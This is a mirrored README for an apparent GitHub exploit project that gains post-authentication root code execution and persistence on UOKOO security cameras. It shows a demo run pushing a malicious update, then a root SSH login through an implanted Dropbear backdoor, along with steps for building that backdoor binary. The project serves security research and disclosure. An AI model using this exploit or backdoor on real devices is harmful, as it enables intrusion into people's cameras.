GithubHelp home page GithubHelp logo

0xf15h / uokoo_exploit Goto Github PK

View Code? Open in Web Editor NEW
11.0 2.0 3.0 255 KB

Post-Auth RCE & Persistence on UOKOO Security Cameras

Home Page: https://hex.fish/2020/11/17/post-auth-rce-and-persistence-on-uokoo-security-cameras/

License: GNU General Public License v3.0

Shell 1.59% Python 98.41%
exploit reverse-engineering iot security-camera

uokoo_exploit's Introduction

UOKOO Exploit

A script to achieve post-authenticated remote code execution and persistence on UOKOO security cameras. To learn more, visit the full write-up here.

Demo

$ python uokoo_exploit.py <target_ip_address>
[+] Successfully authenticated
[+] Sent update header
[+] Update payload sent! The device should reboot in a few seconds...
$ ssh -i ./public_key root@<target_ip_address> -p 12345


BusyBox v1.21.0 (2016-10-11 14:05:01 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

[root@GM]# whoami
root

Supported Devices

Building Dropbear

If you want to compile Dropbear yourself—instead of trusting a stranger's precompiled binary—I get it. Here's how to reproduce the build.

# Download the pre-built uClibc cross-compiler, then add the binaries to your path
curl -O https://uclibc.org/downloads/binaries/0.9.30/cross-compiler-armv5l.tar.bz2
tar xf cross-compiler-armv5l.tar.bz2
export PATH=/home/cross-compiler-armv5l/bin/:$PATH

# Download Dropbear
curl -O https://mirror.dropbear.nl/mirror/releases/dropbear-2018.76.tar.bz2
tar xf dropbear-2018.76.tar.bz2
cd dropbear-2018.76

# Dropbear uses the root user's home directory specified in /etc/passwd, which points to /root. This
# directory doesn't exist on the UOKOO devices, so we have to make a slight change to line 596 of
# common-session.c as a quick fix.
#
# Before
#
# ```
# ses.authstate.pw_dir = m_strdup(pw->pw_dir);
# ```
#
# After
#
# ```
# ses.authstate.pw_dir = "/";
# ```

# Configure and build Dropbear
./configure CC=armv5l-gcc LD=armv5l-ld --host=armv5l --disable-zlib --disable-syslog --disable-wtmp --disable-lastlog --enable-static
# The downloaded uClibc is too old for stack protections so we have to remove them from the Makefile.
sed -i 's/\-fstack\-protector//g' Makefile
make PROGRAMS="dropbear"

uokoo_exploit's People

Contributors

0xf15h avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

Forkers

llak0

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.